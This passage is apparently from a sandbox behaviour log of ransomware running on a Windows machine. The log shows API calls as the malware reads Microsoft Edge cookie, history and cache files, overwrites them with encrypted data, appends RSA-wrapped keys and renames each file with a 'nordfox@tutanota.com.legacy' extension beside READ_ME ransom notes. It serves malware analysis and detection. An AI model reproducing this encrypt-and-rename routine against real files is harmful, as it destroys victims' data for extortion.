"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.045] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.045] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie", dwFileAttributes=0x80) returned 1 [0193.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.046] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=289) returned 1 [0193.046] ReadFile (in: hFile=0x1b8c, lpBuffer=0x563358, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x121, lpOverlapped=0x0) returned 1 [0193.047] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.047] WriteFile (in: hFile=0x1b8c, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x121, lpOverlapped=0x0) returned 1 [0193.047] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x121 [0193.047] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.047] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.047] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.048] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.048] CloseHandle (hObject=0x1b8c) returned 1 [0193.048] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.057] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.057] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.057] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie", dwFileAttributes=0x80) returned 1 [0193.057] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.058] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90) returned 1 [0193.058] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5567e0, nNumberOfBytesToRead=0x5a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5567e0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5a, lpOverlapped=0x0) returned 1 [0193.059] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-90, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.059] WriteFile (in: hFile=0x1b8c, lpBuffer=0x556c58*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556c58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5a, lpOverlapped=0x0) returned 1 [0193.059] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5a [0193.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.060] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.060] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.060] CloseHandle (hObject=0x1b8c) returned 1 [0193.060] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie", dwFileAttributes=0x80) returned 1 [0193.062] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.063] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=106) returned 1 [0193.063] ReadFile (in: hFile=0x1b8c, lpBuffer=0x30ef550, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef550*, lpNumberOfBytesRead=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0193.064] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.064] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30ef280*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef280*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0193.064] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6a [0193.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.064] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.064] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.065] CloseHandle (hObject=0x1b8c) returned 1 [0193.065] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.067] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d42b0 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] GetLastError () returned 0x0 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] GetLastError () returned 0x0 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] FindNextFileW (in: hFindFile=0x30d42b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1047542f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] GetLastError () returned 0x0 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] GetLastError () returned 0x0 [0193.067] SetLastError (dwErrCode=0x0) [0193.067] FindNextFileW (in: hFindFile=0x30d42b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e45fcd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.067] SetLastError (dwErrCode=0x0) [0193.068] GetLastError () returned 0x0 [0193.068] SetLastError (dwErrCode=0x0) [0193.068] GetLastError () returned 0x0 [0193.068] SetLastError (dwErrCode=0x0) [0193.068] FindNextFileW (in: hFindFile=0x30d42b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb76b62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb76b62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.068] SetLastError (dwErrCode=0x0) [0193.068] GetLastError () returned 0x0 [0193.068] SetLastError (dwErrCode=0x0) [0193.068] GetLastError () returned 0x0 [0193.068] SetLastError (dwErrCode=0x0) [0193.068] FindNextFileW (in: hFindFile=0x30d42b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb76b62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb76b62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.068] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0193.069] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0193.069] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.069] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.069] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.069] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.070] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.070] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.071] CloseHandle (hObject=0x1b90) returned 1 [0193.071] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.073] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4730 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] FindNextFileW (in: hFindFile=0x30d4730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] FindNextFileW (in: hFindFile=0x30d4730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.073] GetLastError () returned 0x0 [0193.073] SetLastError (dwErrCode=0x0) [0193.074] FindNextFileW (in: hFindFile=0x30d4730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.074] SetLastError (dwErrCode=0x0) [0193.074] GetLastError () returned 0x0 [0193.074] SetLastError (dwErrCode=0x0) [0193.074] GetLastError () returned 0x0 [0193.074] SetLastError (dwErrCode=0x0) [0193.074] FindNextFileW (in: hFindFile=0x30d4730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.074] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.074] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b94 [0193.075] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.075] ReadFile (in: hFile=0x1b94, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.075] SetFilePointer (in: hFile=0x1b94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.075] WriteFile (in: hFile=0x1b94, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.075] SetFilePointer (in: hFile=0x1b94, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.075] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 